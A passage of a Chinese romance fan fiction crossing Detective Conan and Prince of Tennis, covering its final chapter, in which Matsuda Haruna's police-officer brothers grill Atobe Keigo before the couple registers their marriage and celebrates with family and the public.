“嘴严的。”松田春奈开玩笑道,“你也知道咱俩目前这状况,婚后一不小心就变成官商勾结,消息传出去影响不好。” “那证人就定你哥和忍足。”迹部很果断,“忍足嘴稳,你哥就算激动,也不会乱说话。” 事实证明,松田阵平不是一般的激动。 甚至可以说是暴动。 松田春奈给他打电话时,那边吵吵嚷嚷的,显然是在跟警校组的人聚会。 她刚说完明天要结婚的消息,电话那头瞬间安静下来,接着就是椅子挪动的声响,松田阵平的声音都劈了。 “你被他威胁了?你等着,我们马上到!” “我们”两个字让松田春奈心里一咯噔,还没来得及解释,电话就被匆匆挂断。 她苦恼地看向迹部:“我哥他们不信我是自愿的,估计都要过来。” 迹部景吾倒是很镇定:“没事,正好一起见证。既然如此,我把忍足也叫过来,今晚他们可以睡客房,明天我们直接在家里签字结婚。” 忍足侑士最近刚换了住所,就住在他们这栋楼下的酒店式公寓。他上楼时,身上还背着个运动包。 “你带这些干嘛?”迹部看着他从包里拿出的拳击手套和护具,问道。 “呆会儿大舅哥就来了,你还是赶紧做点保护措施吧。”忍足推了推眼镜,语气带着看好戏的意味。 他怜悯地看着迹部,像是在看一头待宰的羔羊:“大舅哥的拳头我可是见识过的,一拳能把沙袋打移位。” 之前他心血来潮,跟着松田春奈蹭过一松田阵平的训练课,可以说是印象深刻。 一拳打爆拳击梦,大哥我是读书人。 “就算咱俩二对一,呆会儿估计也够呛。”说着,他又从裤袋里掏出一盒药,“特意带的止痛药,待会记得吃。” “谁告诉你是二对一的?” “咱俩和大舅哥,不是二对一吗?难道你待会儿打算一对一啊?勇气可嘉。” “不出意外的话,应该是五对二。” “?” “春奈的那几个哥哥应该都会过来。” 忍足侑士正色道:“那应该是六对一。我坚决站在大舅哥阵营,推翻你这资本家。” 说着他转头看向松田春奈,语气认真:“春奈,家里有防弹衣吗?实在不行,厚一点的羽绒服或者词典也行,我好垫在胸口,以防万一。” 松田春奈笑得直不起腰:“你也太夸张了,我哥他们其实一点也不凶。” 话刚说完,门铃就响了。伴随着“砰砰砰”的砸门声,以及松田阵平的大嗓门。 “松田春奈!你把门打开!” “我知道你在家里,别躲在屋里不出声!” “三秒内不给我开门,我就踹门了!我可是带了搜查令的!” “小说里讲得没错,漂亮女人说得话果然不可信。”忍足侑士幽幽说道,“原来这就是一点也不凶” 作者有话说: 想了想,还是觉得主动进攻求婚才是春奈的性格。《 》 第63章【完结】 第63章 门一开, 五个高大的男人就涌了进来。 为首的松田阵平一把将松田春奈拉到身后,恶狠狠地瞪着迹部景吾,那眼神跟要吃人似的。 萩原研二, 降谷零和诸伏景光站在旁边,虽然没说话, 但那审视的目光也没从迹部身上移开过。伊达航则直接走到沙发边坐下,一副“今天不把话说清楚谁也别想走”的架势。 忍足侑士发现事情不妙,非常识时务地缩在角落当鹌鹑。 笑亖,他现在的身体素质可是大不如从前了。 窝在医院天天熬夜值班的,就算经常健身,又怎么能和这几个一线刑警比体力。人家的拳头可是常年练出来的硬功夫,他这双拿手术刀的手还是趁早歇着吧。 于是,客厅变成了某种奇特的联合听证会。 松田阵平从“豪门水深”说到“春奈小时候怕黑必须开小夜灯”。 迹部景吾小声接话:“家里的泳池装了升降系统,闲置时水深不会超过脚面主卧的夜灯也是智能感应的,亮度可以随时调整。” 松田阵平:“” 知道你是大少爷了行吧。 萩原研二见状,立刻笑着接过话头,说松田春奈平日里怕冷,还讨厌雨天出门的小习惯。 迹部景吾听得认真, 不时轻声接一句:“她现在其实不太怕冷了雨天出门的话,车能直接开到地库电梯口。” 忍足侑士有些感慨,读书的时候, 谁又能想到酷炫狂拽的大少爷也会有这一面呢? 接下来, 降谷零的问题严谨得像在做背景调查, 诸伏景光时不时温和地插一句关键提示,伊达航偶尔敲敲桌子, 维持一下秩序。 迹部景吾全程有问必答,态度良好得让几个大男人挑不出错。 松田春奈坐在旁边,看着她哥把一杯又一杯的啤酒往肚子里灌,终于忍不住开口。 “哥,我想结婚这件事,不是一时冲动。” 此话一出,全场瞬间安静。 松田阵平像是被按了暂停键,怔怔地看着她。嘴唇发抖,张开又合上。 松田春奈一把将他拽进衣帽间,然后抱出个丝绒盒子,当着他面打开。 里面整整齐齐躺着十几枚戒指,每一枚都亮晶晶地,闪着火彩。 “这些戒指都是他每次跟我求婚时用的。”松田春奈说道,“哥,其实迹部已经跟我求过很多次婚了,但每次我都说再等等。” 她从领口拉出一条细细的链子,底下坠着一枚简单的素圈戒指。 “这个是他第一次跟我求婚时用的,我一直带在身边。我是真的想了很久,也想得很清楚了。” “哥,他就是我想共度余生的人。所以这次,是我先开的口。” 松田阵平像是泄了气的皮球,肩膀缓缓塌下来。 他伸手把她揽进怀里,毛茸茸的卷发蹭在她颈窝。两个人相同的发色缠绕在一起,如同骨血融为一体。 他声音闷闷的:“不开心的话,记得随时回来。家里永远有你的地方。” 搞定了最硬的那块石头,其余几人交换个眼神,气氛便微妙地松了下来。 第二天一早,松田春奈推开房门时,客厅里的景象让她顿住了脚步。 五个男人将迹部围在中间,正在进行婚前最后训话。忍足侑士则在旁边娴熟地斟茶递水,努力地调和气氛,虽然没什么用就是了。 除了迹部景吾依旧神采奕奕之外,每个人脸上都或多或少地带着熬夜之后的倦意。松田阵平眼底的青色最重,显然一夜未眠。 昨晚他翻来覆去一直睡不着,凌晨三点还在客厅里翻手机相册。从松田春奈的婴儿照一直看到她晋升警视正的授衔仪式。 区役所上门办理手续的工作人员更是压力山大。 两位年轻职员刚一进门,就和五位凶神恶煞的刑警对上了眼神。两人后背同时一僵。 接下来的流程,堪称他们职业生涯的压力测试。 每推进一个步骤,就有一位警官开始眼眶泛红。等到工作人员最终宣布“婚姻届受理完毕,二位正式结为夫妻”时,松田阵平第一个没忍住,抓起纸巾就按住了眼睛。 恰好这两位职员是松田春奈的忠实粉丝,在硬汉们集体破防的感人场面中,她们只得转而请求忍足帮忙拍几张合影留念。 迹部景吾适时地取出两个早已备好的精致礼盒:“辛苦二位专程上门,一点心意。” 他将那张轻飘飘却重逾千钧的《受理证明书》仔细收好。打算下午就亲自去银行,把它存进保险柜。 “你连这个都提前准备了?”松田春奈看着礼盒上低调的烫金纹样,有些惊讶。 “其实我早就备好了,这是替换后的第三版。”迹部侧头看她,眼底带着笑意,“一直放在储物间,想着早晚有一天能用上。” “你还真是” “机会总是留给有准备的人。” 资本家当然要做到万无一失。 “行吧。”松田春奈低头看表:“还不到十点,正好还能赶上下午的巡逻。” “别想了,”松田阵平晃了晃手机,屏幕上是家庭群炸锅的消息提示,“我刚刚把你们签字那段录下来,发家庭群里了。爸妈都快把我手机打爆了,你还是先想想怎么回他们的连环追问吧。” 迹部从容接话:“我父母正好在国内,中午大家可以一起吃个饭,庆祝一下。” 松田阵平磨牙:“那可真是巧啊。” 迹部笑而不语。 被求婚当晚,就连夜把远在国外的父母call回国镇场,以防万一媳妇临时改变主意这种事,他自己知道就行。 他宽容极了,自觉升了一个身份,不好和单身汉斤斤计较。 唉。谁让大舅哥没老婆呢。 “既然成了一家人,”迹部景吾语气温和地提议,“不如建个新的家庭群吧?春奈工作忙起来的时候,经常顾不上看手机,爸妈有什么事情在群里说,我也能帮忙传达。” 他顿了顿,露出一个略带腼腆的笑容:“或者,哥你把我拉进你们的家庭群也行。” 松田阵平被他一声“哥”叫得直起鸡皮疙瘩。瞪着他看了几秒后,最终还是黑着脸新建了个群。 迹部景吾入群后,第一时间把自己的父母也拉了进来。不到五分钟,群名就被改成了“相亲相爱一家人”。 紧接着,各种欢迎鲜花、鼓掌和彩虹屁的表情包开始刷屏。 双方正式的午餐约在了一家安静的日式料亭。 好在双方早已熟悉,气氛倒也融洽。 松田父母下午还有事,吃完就离开了。包厢里只剩下自家人,气氛更松散了些。 迹部景吾仿若不经意般说起,这次自己才是被求婚的那一方。 他语气平淡,像在说一件小事。可脸上的得意怎么也掩饰不住。 不是迹部家一贯步步为营的获取,而是被坚定地选择。 迹部父亲的目光在两人空荡荡的手上巡睃了一圈。 “所以,被求婚的你,连婚戒也没准备?” 迹部母亲吐槽:“怪不得之前求了那么多次婚都被拒绝了。” 迹部景吾:“” 本意是为了炫耀,结果砸到脚后跟了。 迹部父母让管家取来厚厚一摞文件,里面包含从地产到各大公司的股份,身旁还跟着迹部家的御用律师。 “这些是给你们的,”迹部母亲将笔递给松田春奈,眨眨眼睛,“婚戒记得挑个自己喜欢的。” 迹部景吾被母亲当面调侃,耳根一热。 被求婚那刻的狂喜席卷了一切,他确实把婚戒这茬忘得一干二净。 送松田春奈去警视厅的路上,迹部有些忐忑:“我们结婚的事需要暂时保密吗?隐婚这种事” “警视厅内部有规定,像我这个级别的职位,如果要变更个人婚姻状况的话,是需要正式报告的。”松田春奈系好安全带,转头对他笑了笑,“我今天下午就是去提交报告的,到时候估计领导会直接给我批婚假。” “那我让助理把准备好的喜礼送过去,我陪你去提交报告。然后我们一起放婚假。”迹部景吾激动道,“你想去哪里度蜜月?” “打听一下工藤新一在哪儿,然后去相反的方向。”松田春奈叹气,“自从他成了厅里的编外顾问,案件数量直线上升,真是邪了门了。” 等二人到警视厅的时候,迹部的助理已经在外面等他们了。他特意开了一辆宽敞的商务车,后厢塞满了系着红丝带的精致礼盒。 闻讯赶来的松田阵平等几人也帮忙搬运。一箱箱喜礼被整整齐齐码放在警视厅一楼事务处的长桌上,颇为壮观。 “这又是第几版?” “第五版。” “你当资本家真是屈才了,更适合去内阁情报调查室。” 松田春奈带着迹部景吾径直去了领导办公室,递上报告和礼物。 领导乐呵呵地接过,看着眼前这对新出炉的小夫妻:“终于把人生大事办妥啦?恭喜恭喜!你们以后更要互相扶持,好好生活!” 他一边批假,一边说道:“对了,记得帮你哥他们也张罗张罗。咱们厅的单身率实在是太高了,搞得现在刚毕业的年轻人都不愿意来咱们这儿了。” 在同事们此起彼伏的祝福声中,两人手牵手走出了警视厅大楼。 迹部景吾对等在外面的助理示意:“通知下去,今天所有迹部财团下的所有员工,从我私人账户发放特别红包。” 消息传到迹部父亲那里,他对身旁的秘书吩咐道:“照高一档的标准,再补发一份。与大家同乐。” 几乎同时,迹部财团的官方账号发布了一条简洁庄重的公告: @迹部财团:谨此敬告各位。本公司代表取缔役社长迹部景吾先生,已于本日登记结婚。今后,社长将以更加安定的心境,继续致力于事业的经营与发展,敬请各位一如既往地给予支持与关照。为表感谢,特此举行抽奖活动。 【抽奖详情链接】 公告瞬间引爆网络。 社交论坛里,热帖也在飞速刷新: 《报! ! !大少爷是不是终于赘上警花小姐了? 》 楼主:恭喜大少爷终于嫁进警视厅。可谓多年美梦终如愿,一朝开颜天下知。 1L:啊啊啊恭喜豹豹猫猫! ! !我出生啦! ! ! 2L:本打工人听说,迹部财团下的所有公司,所有员工都有双份巨额红包,这是真的吗? ? 3L:是的五位数,头一位是9。 【点烟.jpg】 4L:心理文员呢? ?我不得劲 5L:心理委员也不得劲了 6L:夺少? ? ? ?我去! ! !谁能内推我进少爷家的公司! ! !到时候红包数额咱俩对半分! ! ! 7L :啊,很可能是史上最年轻的警视总监就这么名花有主了,我恨! 8L:姐姐的爽文人生下辈子可以让我也过一次吗,求求了 9L:信女许愿!愿世界也像对我CP一样对我好点吧!让我的人生也像他们一样甜! 车里,松田春奈不时被评论逗得笑出声。 迹部凑过来看了一眼,挑眉:“哪里说得不对吗?” “对极了。”她收起手机,看向窗外,“所以,迹部先生,我们的婚假正式开始?” “当然。”他的指尖穿过她的指缝,稳稳扣住,“第一站,先去挑戒指。然后,去所有你想去的地方。怎么样?” 车窗映出两人逐渐靠近的身影。 而属于他们的、漫长而甜蜜的正篇,此刻才刚写下第一个章节。 作者有话说: 正文完结啦。接下来会写点番外。有以下内容:1.小两口的婚后甜蜜日常。 2.if线之两人高中不是同学,工作之后才相识恋爱。 3.if线之两人大学期间分手,然后女方恋爱过,男方时间静止大法,最后又追回来。 (可能有点男小.三文学)大概就这些。《 》